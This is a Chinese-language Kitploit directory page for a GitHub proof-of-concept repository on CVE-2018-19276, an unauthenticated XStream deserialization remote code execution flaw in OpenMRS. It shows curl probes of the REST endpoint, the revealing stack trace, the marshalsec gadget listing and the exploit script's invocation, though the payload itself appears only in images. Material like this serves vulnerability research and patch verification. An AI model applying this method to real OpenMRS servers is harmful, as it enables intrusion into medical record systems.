Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2018-19276 — CVE-2018-19276 - OpenMRS 不安全的对象反序列化 RCE | Kitploit
工具/GitHubGitHub/mpgn/cve-2018-19276
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试Payload 开发
GitHubmpgn/cve-2018-19276

CVE-2018-19276

CVE-2018-19276 - OpenMRS 不安全的对象反序列化 RCE

查看仓库
1647年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2018-19276 OpenMRS 不安全对象反序列化 RCE

来自 https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607

不安全的对象反序列化允许在无需登录的情况下执行任意代码。Webservices 模块的 IP 限制无法阻止此攻击。

image

  • OpenMRS Platform 2.1.x < 2.1.4 的所有版本
  • OpenMRS Platform 2.0.x < 2.0.8 的所有版本
  • OpenMRS Platform 1.12.x < 1.12.1 的所有版本
  • OpenMRS Reference Application 2.8.x < 2.8.1 的所有版本
  • OpenMRS Reference Application 2.7.x < 2.7.2 的所有版本
  • OpenMRS Reference Application 2.6.x < 2.6.2 的所有版本

由 Bishop Fox 的安全助理 Nicolas Serra 发现。

概念验证

让我们通过官方文档来看看 OpenMRS 的 REST Web 服务是如何工作的:

root@kitploit:~
curl -u admin:test -i 'http://localhost:8080/openmrs/ws/rest/v1/concept'

让我们看看修复:

  • https://github.com/openmrs/openmrs-module-webservices.rest/pull/369
  • https://github.com/openmrs/openmrs-module-webservices.rest/pull/372

我们可以找到这些信息:

image https://github.com/openmrs/openmrs-module-webservices.rest/pull/369#issuecomment-443513473

他们基本上在 POST 请求为 XML 时过滤了 Content-type,所以可能是 XXE 或不安全的反序列化 👍

让我们再看看文档:

image

嗯,这很好,如果我们向 REST Web 服务发送 XML 会发生什么?

root@kitploit:~
> curl -i -s -k  -X $'POST' -H $'Host: 127.0.0.1:8888' -H $'Content-Type: text/xml'  $'http://127.0.0.1:8888/openmrs/ws/rest/v1/concept'

HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=A896A8B1B0092400DBF74E2E8C365949; Path=/openmrs; HttpOnly
Content-Type: application/json;charset=UTF-8
Content-Length: 8980
Date: Mon, 11 Mar 2019 12:58:30 GMT
Connection: close

{"error":{"message":"[ : input contained no data]","code":"com.thoughtworks.xstream.io.xml.XppReader:126","detail":"com.thoughtworks.xstream.io.StreamException:  : input contained no data\n\tat com.thoughtworks.xstream.io.xml.XppReader.pullNextEvent(XppReader.java:126)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.readRealEvent(AbstractPullReader.java:148)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.readEvent(AbstractPullReader.java:141)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.move(AbstractPullReader.java:118)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.moveDown[...]

这个错误给出了一些非常有趣的信息:xstream.XStreamMarshaller

让我们尝试使用这个很棒的工具 marshalsec 通过 Java 反序列化来触发 RCE。

让我们看看可用的 gadget:

root@kitploit:~
$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream -v 
No gadget type specified, available are [SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin, CommonsConfiguration, LazySearchEnumeration, BindingEnumeration, ServiceLoader, ImageIO, CommonsBeanutils]

此时,我只是对所有 XStream gadget 使用 GitHub 搜索来查找一个出现位置。只有 ImageIO gadget 看起来很有希望:

image

让我们试一试:

image

就是这样!

漏洞利用

root@kitploit:~
python CVE-2018-19276.py

image

资源:

  • https://issues.openmrs.org/browse/RESTWS-742
  • https://www.bishopfox.com/news/2019/02/openmrs-insecure-object-deserialization/
  • https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607
  • https://wiki.openmrs.org/display/docs/REST+Web+Services+API+For+Clients#RESTWebServicesAPIForClients-SampleRESTcalls
下载工具